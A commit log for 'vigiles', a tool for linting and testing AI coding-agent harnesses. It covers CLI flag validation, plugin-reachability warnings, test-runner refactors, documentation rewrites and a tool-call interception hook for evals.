`--out=<dir>`, `--serve`. `--no-htlm` wrote the HTML report while the author
believed they had suppressed it. For a tool whose thesis is "prose isn't
policy", accepting an argument it did not understand and continuing is the
same class it names elsewhere: the argument is PRESENT, therefore the
property is assumed enforced.
The hole was on EVERY verb, not just audit — checked and closed uniformly
(`lint`, `test`, `eval`, `compile`, `eject`, `init`, `generate`).
`hook-runtime` is deliberately exempt: its argv is emitted into hooks configs
by the harness, never typed by a human, so validating it would break the
runtime contract.
2. `vigiles audit --help` RAN AN AUDIT. Help existed only on the bare
`vigiles --help`. Asking what a flag is called executed the command. Now each
verb answers `--help` with its own entry plus its complete flag list, and
`printUsage` renders from the same table, so the banner and the per-verb help
cannot drift.
3. "FOUND NOTHING" WAS INDISTINGUISHABLE FROM "FOUND SOMETHING BAD". How it
bit: `npx vigiles audit --json /some/path`. `--json` is real but takes no
value, so the PATH fell through to the positional scan directory. The audit
ran over a directory containing no harness and reported "No loadable harness
surface — nothing to grade yet", `skills: 0`, grade F, EXIT 0 — byte-wise
indistinguishable from a genuine audit of a repo that scores badly. A
confident measurement OF THE WRONG OBJECT, in silence. An operator who did
not already know the repo had 37 skills would take it as fact.
`score.empty` (no instruction file AND no surface) is now a distinct, loud
outcome on stderr that says what was scanned, that nothing was measurable,
and that a flag may have swallowed the path. No grade is printed for it.
Note the flag check does NOT catch that invocation — `--json ./dir` is
legitimate — so this branch is what makes it visible, and it covers every
other way of pointing at the wrong place.
EXIT CODE, chosen against the CLI's existing convention rather than invented: 1
already means "I ran, and the thing you asked about is bad" (lint findings, a
failing harness script); 2 already means "I could not do what you asked" (the
top-level error handler, `eval`'s refusal-to-fan-out, `generate` with an unknown
kind). Both new outcomes are the second. A script that greps for a grade needs
"unhealthy" and "I was pointed at the wrong directory" to differ, and the second
has no grade at all. `--json` still emits the report for an empty target (it
self-describes with `score.empty: true`), so the machine contract is kept.
TESTS, each watched failing first. With both guards reverted, 8 of
src/scan-cli.test.ts fail (unknown flag on audit, the typo suggestion, the
per-verb sweep, `audit --help`, every-verb `--help`, the empty-target outcome,
its `--json` form, and the codex-config case below); with them, 48 pass. Plus 7
pure tests in src/cli-flag-check.test.ts, including the over-rejection guard
that asserts EVERY flag in the registry is accepted by its verb, and a dogfood
test that drives the real `vigiles --help` and fails if it advertises a flag the
registry doesn't know.
TWO EXISTING TESTS CHANGED, both because the behaviour they pinned WAS the
defect:
- cli.test.ts "old --pillars / --verify flags no longer scope a pillar"
asserted that a REMOVED flag is silently ignored and `init` proceeds with
defaults. It now asserts the removed flag is rejected — a cleaner break, and
the exact "silently do something other than what was asked" this fixes.
- scan-cli.test.ts "honors the .vigilesrc.json `harness` key" audits a
CLAUDE.md-only fixture AS CODEX, which finds no AGENTS.md and no codex
surface. That is now exit 2 rather than a silent grade F at exit 0; the
harness-resolution assertion the test exists for is unchanged.
Both `--help`/unknown-flag sweeps run from a THROWAWAY cwd: while proving the
fix by reverting it, `init --definitely-not-a-flag` ran a real `vigiles init`
and wrote 21 specs, a workflow and a config into the repo. The test now cannot
do that to whatever directory it runs in.
docs/cli.md documents the rejection, the `=`-only value form, and the exit-code
table.
* fix(report-view): mirror the split inventory fields, and let CI see the project
The Evaluated ring added `untestedHarness` and `unevaluated` to the engine's
inventory and not to the view's mirror, so `sample.ts` set two fields the type
did not have. `tsc -p site/tsconfig.json` failed the whole time.
It went unnoticed because CI runs three typecheck steps — root, `test/types`,
and generated types — and none of them covers site/ or packages/report-view.
Three green checks, none over the project that broke. That is the same shape as
every defect in this PR: a check that exists, passes, and does not cover the
thing that failed.
So both halves. The fields are declared optional, because a report produced
before the split carries neither and the view must still render an older
artifact. And CI now typechecks that project, so the next field added on one
side of the mirror fails where someone will see it instead of waiting for
whoever next runs tsc by hand.
Found by the agent that fixed #10-#12 while reporting what it had NOT fixed.
* feat(audit): say so when a repo's vigiles skills are unreachable
vigiles ships six user-facing skills, and `test-harness` alone answers the
question the testing docs are otherwise organized around ("which tier do I
want?"). They are wired by the GLOBAL plugin install; `npm install vigiles`
ALSO drops them at `node_modules/vigiles/skills/`, which Claude Code never
scans. A repo that took the dependency but never ran the plugin install has
all six present on disk, unselectable, and silent — observed for a full day in
a consumer repo whose author was writing harness tests by hand.
`vigiles audit` now checks reachability and warns, following the
`dialect-drift` shape: pure parsers + a best-effort local read that never
throws + a formatter that returns null when there is nothing to say. No new
verb, no new flag. Advisory only, never scored: reachability is a property of
the machine, not the repo, and a score that differed between a laptop and CI
for identical source would be a lie.
The subtle part, and the reason this was misdiagnosed as an npm packaging bug:
the authoritative record of `claude plugin install` is the global
~/.claude/plugins/installed_plugins.json, NOT the repo's .claude/settings.json
(which carries PROJECT-level enabledPlugins, where a correctly-installed
user-scope plugin does not appear). Judged from settings.json alone, a working
install reads as broken. Verified live: with this box's real HOME the check is
silent because vigiles@vigiles genuinely IS installed; with a fresh HOME the
same repo warns.
Also pins the trap that started this. A hand-rolled execFileSync runner returns
stdout ALONE on success, so advisory output — including vigiles's own compiled
hook notice() — vanishes and a healthy react hook reports as dead (hit three
times in one repo). runHook already carries both streams and is the right tier
for a plain helper script; test-harness now says so, including the honest limit
that filesWritten is recorded only under confinement, so assertNoWrite passes
vacuously on an unconfined run. Three tests hold that contract.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(audit): a project plugin declaration is not an install
Investigating whether `init` should wire the plugin per-repo turned up the
opposite of the premise, and a bug in the check shipped in a138826.
Claude Code's team-marketplace docs, as of CC v2.1.195: "A plugin that only the
project's .claude/settings.json enables, and that comes from an external source
such as a GitHub repository or npm package, doesn't load until the team member
installs it." vigiles ships from a GitHub marketplace, so that is our case.
Committing extraKnownMarketplaces + enabledPlugins makes Claude Code PROMPT a
collaborator to install; it does not install, and a fresh clone or CI job still
has no plugin.
Confirmed empirically on one machine: a repo whose committed settings.json
declares an external plugin project-level had NO marketplace entry, NO cache
dir and NO install record for it in ~/.claude/plugins/, while a plugin
installed the normal way on that same machine had all three. Network was not
the difference — the second install succeeded there, commit SHA recorded.
The bug: the check treated a project `enabledPlugins` entry as proof of
reachability, so it would fall silent for a repo that declares the plugin and
has never installed it — precisely the state it exists to surface, and
precisely the state observed. Project declaration is now a THIRD state,
`declaredNotInstalled`, which still warns but with the correct fix line: the
install is per machine, and the repo cannot perform it on the collaborator's
behalf.
Four tests were watched failing against the previous implementation before the
fix. Advisory-and-unscored stands, and for a stronger reason than before: this
is machine state that no repo-committed file can determine, by deliberate
security design — plugins execute arbitrary code with user privileges.
Co-Authored-By: Claude <noreply@anthropic.com>
* feat(testing)!: split runScript out as the primitive under runHook
`runHook` already WAS a general program runner — arbitrary shell command, stdin
fed, exit code + both streams + writes + egress back — with a thin hook layer on
top. The specialized name owned the general machinery, so someone testing an
ordinary helper script had no name to look for. One did: he hand-rolled an
execFileSync runner and hit the same bug three times, because execFileSync
returns stdout ALONE on success while advisory output (including vigiles's own
compiled-hook notice()) goes to stderr, so healthy react hooks reported as dead.
The layering is now the right way up:
runHook = runScript + event-to-stdin + exit-code-to-decision
src/run-script.ts owns spawning, confinement, egress and write recording; none
of that is about hooks. src/run-hook.ts is 250 lines of hook protocol.
These are two questions, not two ways to ask one: a HOOK has a decision, a
SCRIPT has effects. So ScriptRunResult carries no `decision` field rather than
an always-undefined one, which would teach the reader the field means nothing.
A test asserts its absence, so re-adding it fails.
Also fixes a vacuous assertion, which is the same defect class this repo exists
to catch in other people's harnesses. `filesWritten` is recorded by diffing the
work dir, which only a confined run does — so an unconfined run reported `[]`
and `assertNoWrite` returned GREEN having inspected nothing. "Nobody looked" and
"nothing happened" are now structurally distinct: `undefined` vs `[]`.
assertNoWrite/assertWroteOnly throw on the former and name the fix
(`sandbox: "auto"`). Documenting this was too weak; the code distinguishes it
now instead of the reader having to remember.
BREAKING CHANGE: `HookRunResult.filesWritten` is optional
(`readonly string[] | undefined`) — `undefined` when writes were never recorded,
rather than a misleading `[]`. Code reading it directly needs `?? []`; code using
assertNoWrite/assertWroteOnly gets a real assertion instead of a vacuous pass.
Everything else is additive or structurally identical: HookRunResult now extends
ScriptRunResult with the same members, and RunHookOptions is
Omit<RunScriptOptions, "stdin">. runHook's signature and behaviour are unchanged.
Watched failing first: 3 vacuity tests (assert.throws saw no throw — the vacuous
pass itself), then 3 deliberate breaks — dropping stderr fails 3 tests, re-adding
a decision field fails 1, collapsing unrecorded writes to [] fails 2.
Co-Authored-By: Claude <noreply@anthropic.com>
* feat(init): declare the plugin in the repo, turning silent absence into a prompt
`vigiles init` now merges a two-key declaration into the repo's
.claude/settings.json: an `extraKnownMarketplaces.vigiles` source and
`enabledPlugins["vigiles@vigiles"]`.
WHAT THIS BUYS, precisely: a collaborator who clones and never runs `init`
currently gets SILENCE — the npm package is in node_modules, its six skills are
unreachable, and nothing says so. That silence cost a full day. With the
declaration, Claude Code tells them the project wants this plugin and prints the
install command.
WHAT IT DOES NOT BUY: the plugin. An external-source plugin declared
project-level does not load until each person installs it on their own machine
(CC docs, v2.1.195+), and the boundary is deliberate — plugins execute arbitrary
code with the user's privileges, so a repo may not install one on your behalf.
A fresh clone and a CI job still have no plugin. The README, agent-setup docs
and the CLI output all say this in those terms; none of them claim it wires
anything up.
Nothing is vendored: the entry is a reference. Plugin content stays in the
global cache, one copy shared across repos.
MERGE, never clobber — that file holds the user's hooks, permissions and other
plugins. The merge rules are pure and unit-tested: unrelated keys survive
byte-identical; an existing `vigiles` marketplace entry is left alone (it may
point at a fork); an explicit `false` is respected as a deliberate disable; the
input object is never mutated; a second run is a no-op. Verified end to end
against a synthetic repo whose settings.json carries hooks, permissions, a
$schema and another marketplace — the diff was exactly the two additions.
Invalid JSON is a loud skip, never a rewrite. Gated by the existing
`--no-plugin`; skipped in the vigiles repo itself.
`removeVigilesDeclaration` ships tested alongside it, deliberately not wired to
`eject`: `eject [file]` is the per-file inverse of `compile`, and repo-scoped
plugin wiring is not a property of any one file. Reasoning and the two-key
manual removal are documented.
Co-Authored-By: Claude <noreply@anthropic.com>
---------
Co-authored-by: Claude <noreply@anthropic.com>
* docs: add rules-docs-in-sync rule; fix nested blockquote in harness-testing
Add a `rules-docs-in-sync` guidance rule to CLAUDE.md so the validation-rule
set (RulesConfig keys + built-in vigiles/* rules) and the central rules table
in docs/cli.md never drift: adding/removing/renaming a rule must update the
type, the table row, and the per-rule doc together.
Also fix the doubly-nested blockquote (`> >`) in docs/harness-testing.md that
rendered as a confusing quote-inside-a-quote — convert the pasteable prompt to
a fenced code block, matching the README convention.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016Ct8VY2VCY4h6kDGVNBQQ4
* docs: surface the lint rule set in the linting guide; break up walls of text
The Lint guide (verifying-instruction-files.md) explained the three rule *types*
but never showed or linked the actual validation-rule *list* — so a reader
following the README's Lint link couldn't find the rules. Add a "What vigiles
lint checks" section that summarizes the rule families and links the canonical
table in cli.md (no duplication, per rules-docs-in-sync).
Also break four dense prose paragraphs in harness-testing.md into bullets /
shorter paragraphs (entry points, harness-specific transport, the two-layers
explainer, the eval-tool comparison) for mobile scannability.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016Ct8VY2VCY4h6kDGVNBQQ4
* fix(orphans): never flag harness-loaded instruction files; move rules matrix to lint guide
orphan-docs now categorically exempts files the harness loads directly
(CLAUDE.md / AGENTS.md / SKILL.md / agents/ / commands/) from the orphan
CANDIDATE set — they're load-bearing by name/location, not by being linked,
so they're never orphans even if `orphans.include` is broadened to the whole
repo. They still count as referencers. Adds tests + a docs/rules/orphan-docs.md.
Move the canonical validation-rules matrix out of the CLI reference and into the
linting guide (verifying-instruction-files.md), where a reader looking for the
rules expects it — grouped by family (spec & integrity, test coverage, reference
marking, subagent contracts, hooks & MCP, skill triggers, docs hygiene). cli.md
and the README now link to that one matrix. Updates the rules-docs-in-sync rule
to name the linting guide as the canonical home.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016Ct8VY2VCY4h6kDGVNBQQ4
* docs: overhaul harness-testing — task-first guide + extracted API reference
The harness-testing guide buried the first runnable example five screens deep,
under ~140 lines of architecture (capability-contract theory, composition-root,
adapter selection, import taxonomy) and didn't show its TOC until line 118. A
first-timer couldn't find "how do I test my hook?".
Full split:
- Rewrite docs/harness-testing.md as a lean task-first guide (902 → 297 lines):
a copy-paste first test in the first screen, a "what do you want to test?"
decision table as the primary nav, trigger-rate promoted to a headline section,
advanced material (significance / regression / cost / judge) collapsed.
- Extract docs/testing-api.md: the full reference — Trace model, predicates,
assertions, the check vocabulary, matchers, every measureTriggerRate / runEval
option, significance/regression, imports & harness selection.
- Move the theory (import-path-is-capability-contract, "two layers or three?")
to research/harness-testing.md where the rationale belongs.
- Repoint inbound anchor links (harness-testing-claude-code.md) and add the new
reference to the docs index.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016Ct8VY2VCY4h6kDGVNBQQ4
* refactor!: surface-scoped lint rules — rename agent-*→subagent-*, capability-gate, fix dialect drift
Adopt the "surface model" for cross-adapter vs adapter-only lint rules: a rule is
scoped to the SURFACE it checks (subagents, shell hooks, skills, MCP, docs), not
to a harness name. Universal rules stay bare and run everywhere; surface rules run
only where the active adapter has that surface and report n/a otherwise (loud,
never a failure) — so one config targets Claude Code AND Codex (incl. independent
.claude/.codex trees, not just byte-identical mirrors) without per-harness rule
duplication. Harness prefixes are reserved for genuinely exclusive concepts (none
needed today).
BREAKING (no back-compat, per design):
- Rename rules: agent-tool-contract → subagent-tool-contract, agent-frontmatter
→ subagent-frontmatter, untested-agent → untested-subagent. Named by the
harness-neutral concept (subagent), resolving the Codex `[agents]` (a
concurrency table, not a subagent) name collision at the source.
- Add AdapterCapabilities.subagents (CC/OpenCode true, Codex false); the subagent
rules gate on it and report n/a where absent.
- Fix the lint dialect-drift bug: checkSubagentToolContracts / checkHookEvents /
checkFrontmatterSchema now run against the RESOLVED adapter's dialect + layout
(and respect --harness), not a hard-coded claudeCodeDialect — scan was already
adapter-aware, lint was not.
- Docs: add the surface→harness "Applies to" matrix to the linting guide, rename
the three rule docs, recompile CLAUDE.md.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016Ct8VY2VCY4h6kDGVNBQQ4
* feat: layout-driven surface classification — ready for new-harness subagent dirs
The subagent rules and scan's surface classifiers were hard-coded to `agents/` /
`skills/` / `commands/`, so a harness whose subagents live elsewhere (OpenCode's
`.opencode/agent`) wouldn't be classified. Make it layout-driven.
- PluginLayout gains labeled `skillDir` / `agentDir` / `commandDir` (an empty
`agentDir` means "no subagent surface" — e.g. Codex's `[agents]` TOML table).
Set per adapter; documented in the adapter API + authoring guide.
- scan.ts builds its isSkill/isAgent/isCommand classifiers from the active
layout (regex anchored on a real path boundary, path-segment-safe), threaded
through every surface helper — no module-level hard-coded dirs.
- The `subagent-tool-contract` lint rule now REUSES scanPlugin's already-resolved,
layout+dialect-driven agents (one-detector-no-drift) instead of re-globbing a
hard-coded `agents/` path; drops the now-dead parseAgentTools/verifyToolContract
imports.
- Test: scan classifies a subagent under a custom `agentDir` and a default Claude
Code scan does not — proving the dir is read from the layout.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016Ct8VY2VCY4h6kDGVNBQQ4
* fix: finish de-CC-ing the lint/scan detectors + add an ESLint guard
Two more functional Claude Code hard-codings remained in the deterministic
reference-verification path (same class as the subagent glob):
- scan.ts `resolveScript` (hook-script-exists) hard-coded `${CLAUDE_PLUGIN_ROOT}`;
now expands the harness's own `layout.pluginRootToken` (braced + unbraced).
- test-coverage.ts (untested-skill/agent/hook) hard-coded `skills/` / `agents/` /
`.claude/` globs and the CC token; now layout-driven via `skillDir`/`agentDir`/
`materializeRoot`/`pluginRootToken`/`manifestPath` (default CC), threaded from
the resolved adapter in lint and from `lay` in scan.
The deterministic layer-1 (lint + scan) is now fully layout/dialect-driven. The
remaining `.claude` literals live only where they belong: the CC adapter, the CC
eval transport (src/eval.ts), and CC plugin onboarding (init in src/cli.ts).
Prevent recurrence: a `no-restricted-syntax` ESLint rule bans hard-coded CC
string literals (`${CLAUDE_PLUGIN_ROOT}`, `.claude/`, `ANTHROPIC_*`) — as plain
literals AND template quasis — in the harness-agnostic domain + detectors
(src/core, scan.ts, test-coverage.ts, plugin-loader.ts). Verified it blocks a
probe. Complements the existing import-graph boundary with a literal boundary.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016Ct8VY2VCY4h6kDGVNBQQ4
* test: dogfood the layout-driven untested-surface detector on a non-CC layout
A regression guard for the de-CC-ing: build a repo with custom surface dirs
(mysurf/skill, mysurf/agent) and plugin-root token ($MY_PLUGIN_ROOT), then assert
findUntestedSurfaces discovers all three surfaces via the injected layout — and
the default Claude Code layout sees none of it. CC-shaped fixtures can't catch a
CC-hardcoding regression; this one can.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016Ct8VY2VCY4h6kDGVNBQQ4
* fix: thread the resolved adapter through ALL lint checks + Codex CLI dogfood
Completes the dialect-drift fix: 8 more scanPlugin-based lint checks
(skill-frontmatter, mcp-config, mcp-tool-resolves, hook-script-exists,
disallowed-tools-contract, description-overlap, frontmatter-valid,
mcp-hook-target-resolves) were still calling scanPlugin(process.cwd()) with the
default Claude Code layout/dialect — only 3 of 11 had been fixed. All 11 now run
against the resolved adapter, and the subagent-/hook-surface ones report n/a on a
harness lacking that surface (capability-gated).
Dogfood: a Codex `lint` CLI golden test (offline, in the existing CI job) wires a
real Codex repo — AGENTS.md + TOML [hooks] with the harness's own ${PLUGIN_ROOT}
token + an untested skill — and asserts hook-script-exists resolves the token and
flags the missing script, untested-skill finds the skill, and the subagent rule
reports n/a. A CC-shaped fixture can't catch a CC-hardcoding regression; this one
runs the full pipeline against the second harness.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016Ct8VY2VCY4h6kDGVNBQQ4
* docs: codify the adapter-aware-lint convention + fill the capability/layout doc gaps
Add an explicit `adapter-aware-lint-rules` guidance rule to CLAUDE.md (recompiled
from the spec): lint rules are surface-scoped not harness-named; name by the
harness-neutral concept (subagent, not agent); thread the resolved adapter and
never hard-code a CC literal (eslint-enforced); gate by capability and report n/a;
dogfood must be non-CC-shaped. The full record of this session's de-CC-ing.
Docs caught up to the code:
- harnesses.md capability matrix + adapter-api.md AdapterCapabilities gain the
`subagents` flag.
- adapter-api.md / authoring-an-adapter.md PluginLayout gains skillDir/agentDir/
commandDir; the myHarnessAdapter example gains the (previously missing, required)
`capabilities` block.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016Ct8VY2VCY4h6kDGVNBQQ4
* fix(ci): update API report for the new adapter fields; add internal audience-check skill
The `check` job's API surface gate failed: AdapterCapabilities.subagents and
PluginLayout.skillDir/agentDir/commandDir are public (vigiles/adapter), so the
committed etc/vigiles-adapter.api.md was stale. Regenerated (diff = exactly those
four field additions) and gave each new layout field its own TSDoc so the report
has no `(undocumented)` markers.
Also add an internal dev skill `dev/skills/audience-check` (not shipped, not
counted by untested-skill): re-read the README through six audience lenses —
Claude Code user, Codex user, senior/staff skeptic, junior newcomer, eng-manager
decision-maker, QA/test engineer — and report per-persona friction + ranked fixes.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016Ct8VY2VCY4h6kDGVNBQQ4
* docs: note the UI-created-PR title gotcha in the conventional-commits rule
A PR opened from the Claude Code UI gets a plain prose title that fails the
`validate` job (which checks the PR title, not the commits). Document the fix:
edit the title to a Conventional Commit + the matching breaking `!` as soon as
the PR exists; validate re-runs on the title edit. (Hit on PR #41.)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016Ct8VY2VCY4h6kDGVNBQQ4
---------
Co-authored-by: Claude <noreply@anthropic.com>
* fix: repair broken main — 100% coverage gate + CLAUDE.md integrity/format conflict
PR #37 left main red on two CI jobs:
- test job: the eval.ts ephemeral-env + interceptTools compose path
(the `if (overlay) Object.assign(env, overlay)` line) was unexercised,
dropping statement coverage to 99.79% and failing the 100% gate. Add a
unit test that drives both features together and asserts the intercept
overlay survives the env scrub.
- check job: `vigiles compile` emits markdown like `skills/*` but prettier
re-escapes it to `skills/\*`, desyncing CLAUDE.md's integrity hash. The
compiled CLAUDE.md is a vigiles-owned exact-format artifact (hash-gated),
so add it to .prettierignore alongside the other tool-generated files and
recompile so the committed bytes match the spec. The spec stays formatted.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* chore: update session state timestamps
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* docs: tighten README — drop "pillar", footnote the Latin, sharpen the sell
- Move the "Quis custodiet ipsos custodes?" epigram to a footnote on the name;
open with a real one-line pitch instead.
- Drop the "pillar" jargon everywhere; lead with the two verbs (Lint / Test).
- Lint hook now leads with a renamed file + script (the relatable case), not a
disabled eslint rule.
- Rename the Test heading "does your harness fire?" → "do its job?" and lay out
the full scope as bullets (block / trigger w/ recall+precision / behaviour via
evals / safety) — firing is only one of them; evals are now explicit.
- State plainly that tests are deterministic (no model, no API key) and evals
run on your Claude subscription, never metered API tokens, with links.
- Cut ~45 lines of wall-of-text (Test section more than halved).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* docs: make README a scannable front door + add promptfoo eval comparison
Rewrite the readme-brevity rule (in CLAUDE.md.spec.ts → recompiled) to demand a
WOW-on-first-screen, phone-scannable front door: short (~140 line target), no
walls of text, great formatting, links out for detail, and a required promptfoo
comparison in the evals section.
Fix the README to match: add a compact 3-column cost table contrasting
promptfoo/DeepEval (metered API SDK, per-token) against vigiles ($0 extra, runs
on your Claude subscription, most tiers need no model at all).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* docs: move Quick start above the fold (hook → what → get-it-now → why)
Place the slim Quick start right after the what-it-does table, before the Lint
and Test deep dives, so a skimmer can try `npx vigiles init` in seconds; the
deep-dive sections now read as the "why it's worth keeping". Encode the rule in
readme-brevity (CLAUDE.md.spec.ts → recompiled): install path above the fold,
verbose setup kept in a <details> so the top stays lean.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* docs: add docs-quality rule + align lint/test guides with the new README
- New `docs-quality` guidance rule (CLAUDE.md.spec.ts → recompiled): the docs/
reference docs are the HOW the README defers to — NOT held to README brevity
(depth is their job), but to a doc-appropriate polish bar: open with a one-line
"what this is" + an up-link to the README, stay scannable (headings, Contents,
tables, runnable code), cross-link siblings + "See also", and stay consistent
with the front door (terminology, the promptfoo cost contrast, no stale paths).
- Polish the two linked guides accordingly: the testing guide gains the same
"README has the pitch; this is the full guide" up-link + a sibling link to the
lint guide; the lint guide drops the "Pillar 1" opening (consistent with the
README dropping "pillar") and gains the sibling link to the testing guide.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* chore: add npm repository/homepage/bugs/keywords/license metadata
The package is live on npm (vigiles@5.0.0) but package.json lacked discovery
metadata: no repository (so npmjs.com had no link back to GitHub), no homepage,
bugs, keywords, or license, and a stale description (the old "compile .spec.ts"
framing). Add them and update the description to the current "lint & test the
harness" positioning so npm search and the npm↔GitHub link are correct.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* docs: scrub "pillar" from the docs and CLAUDE.md spec (use "layer")
Following the README, drop the "pillar" jargon from the user-facing docs and the
CLAUDE.md positioning/rules — "layer" throughout (the linting layer / the testing
layer), matching the front-door voice. Recompiled CLAUDE.md; anchors and
cross-links updated consistently. research/ left as-is (internal design vocab).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* chore: regenerate generated.d.ts (sync npm scripts + project files)
Regenerated after the package.json metadata change; also picks up pre-existing
drift (api:report/api:check/docs:api scripts, vendor-coverage.test.ts) the
committed file was missing.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* chore: remove the deprecated demos (examples/demo + plugin-test-demo)
The two demos were deprecated and no longer the surfaced front door. Delete them
and every reference: the demo/demo:plugin npm scripts, the doc callout in the
harness-testing guide, the examples/harness README block (now points at
npx vigiles test/eval), and the .gitignore/.prettierignore lines. Regenerated
generated.d.ts (scripts + project files). The roadmap item is updated to "build
the ONE polished front-door demo" (the deletion is done; the polished demo + GIF
remains as the real next step).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* docs(roadmap): record Sogen evaluated-and-rejected as a sandbox backend
Note in the rejected/parked section so it isn't relitigated: Sogen is a
syscall-level Windows/Linux binary emulator for malware/DRM research (host
isolation "might not be perfect") — wrong workload/guarantee/gap for confining
Node+shell. The transferable idea (snapshot + deterministic replay) we already
do at the filesystem/trace layer.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude <noreply@anthropic.com>
* docs: add eval-architecture design doc + ranked roadmap
Capture the conceptual model for testing Claude Code harness features:
feature = deterministic TEST + behavioral EVAL; two orthogonal knobs
(reproducibility x gating); cost-matched mechanism; trigger-rate as a
classifier eval; hash-lockfile + evalApiVersion + dated-model; deferred
canary; closure-scoped invalidation. Reconciles the model with what the
codebase already ships (record/replay cache, significance-gated baseline,
check vocabulary, trigger-rate recall+precision) and ranks the genuine
remaining gaps (tool-call spy/fake keystone, negative checks, curl fake,
subprocess golden, hash-lockfile) mapped to the dogfood build order.
Link from research/eval-api-landscape.md and research/roadmap.md.
* docs: clarify constraint is no-SaaS, not zero-dep, in eval-architecture
Deps are acceptable when they require no hosted account; rest the case
against Polly.js/promptfoo on their real merits (cache exists, cassette
doesn't escape the snapshot trap, promptfoo punt is strategic) rather
than a dep-count rule.
* docs: drop reuse-vs-reinvent tangent from eval-architecture
* feat: add toolWith/notTool argument + safety checks to vigiles/check
The inspection half of the keystone tool-call spy (docs/eval-architecture.md
gap #1/#2): a serializable ArgMatcher (dot-path keys; RegExp = pattern,
primitive = exact) drives two new Trace checks —
- toolWith(name, args): the agent called `name` with input matching `args`
(asserts HOW a tool was called, e.g. the image-request body carried the
style suffix), and
- notTool(name, args?): the agent did NOT call `name` (optionally only the
args-matching calls, so "did not push to main" still allows pushing
elsewhere) — the safety/negative assertion a completion grader can't make.
Both flow through vigiles/testing + vigiles/unit via the existing
`export *`. Pure, model-free, fully unit-tested in src/check.test.ts.
* feat: tool-fake interception core + vigiles fake-tool-hook
The interception half of the keystone tool-call spy (docs/eval-architecture.md
gap #1). At the eval tier the model's tool decisions are real, but letting a
side-effecting tool actually run (paid image API, git push, paid subagent)
makes the eval expensive and risky. A FakeTool denies the real execution while
the model still emits the tool_use — so the agent's decision is observable via
toolWith/notTool, but nothing happens.
- src/arg-match.ts: extract the shared ArgMatcher (dot-path keys; RegExp =
pattern, primitive = exact) so the check vocabulary and the fake seam share
one matching semantics; src/check.ts now imports it.
- src/tool-fake.ts: FakeTool + decideFakeTool (first match wins, optional
`when` arg-scoping), buildFakeToolSettings (PreToolUse hook over the union of
faked tool names), and serializeFakeTools/parseFakeTools (env round-trip that
preserves RegExp matchers a naive JSON.stringify would drop). Pure, tested.
- src/cli.ts: `vigiles fake-tool-hook` — reads VIGILES_FAKE_TOOLS, denies a
matched call via exit 2 feeding the canned result to the model (mirrors the
agent-contract rail's block mechanism).
Remaining: the ergonomic `fakeTools:` field on the eval spec (auto-merge the
hook settings + a cache-key entry) to wire it end-to-end from measure/runEval.
* feat: wire fakeTools onto the eval spec (end-to-end tool-call spy)
Make the interception usable from the API: declare `fakeTools: [{ tool,
when?, result? }]` on a measure/runEval arm and the eval tier does the rest.
- EvalArm.fakeTools + MeasureSpec.fakeTools.
- executeTrial auto-merges the fake PreToolUse hook into the arm's resolved
settings (APPENDING to any existing PreToolUse list, never clobbering),
pointing the hook at this CLI's own cli.js (resolved via __dirname, since
the eval runs in a throwaway cwd where `npx vigiles` wouldn't resolve).
- The fake list rides VIGILES_FAKE_TOOLS (AgentRunArgs.env, layered over
process.env in spawnAgent), RegExp matchers intact.
- CacheKeyInput gains `env` so two fake configs that share tool names — and
thus produce identical merged settings — don't collide in the replay cache
(their when/result lives only in the env).
Tested via the injected runner (no model): the hook merges + appends, the
env round-trips, and a no-fakes run wires neither. eval.ts/eval-cache.ts stay
at the 100% lines/functions/statements gate.
* refactor: make tool-fake honest + add real-model validation eval
Acting on the step-back assessment of the tool-call spy:
- Fix the misleading DEFAULT_FAKE_RESULT: the exit-2 hook is a BLOCK, not a
successful return (CC surfaces it as a denied call), so the default reason
now says "intercepted, NOT executed, do not retry" instead of "assume
success". Reframe the tool-fake/eval docs as intercept-and-prevent + observe
the attempt, not a faithful tool mock (CC has no skip-exec-return-success
primitive). Note cost is not reduced — only the side effect is removed.
- docs/eval-architecture.md: record the honest assessment — fidelity ceiling
(deny != success), toolWith overlaps the existing toolUsedWith predicate
(net-new is the negative check + interception), the simplest safety path
(don't allowlist + assert the attempt) often needs no new primitive, and the
competitor delta is narrow (assertions at parity; intercept-in-real-harness
is the edge).
- examples/harness/tool-fake.eval.mjs: end-to-end validation of the one
assumption unit tests can't reach — that a DENIED tool's args still land in
the Trace. Induces a git push origin main, intercepts it, asserts
toolWith(Bash, /push origin main/) holds across trials. Loud skip() without
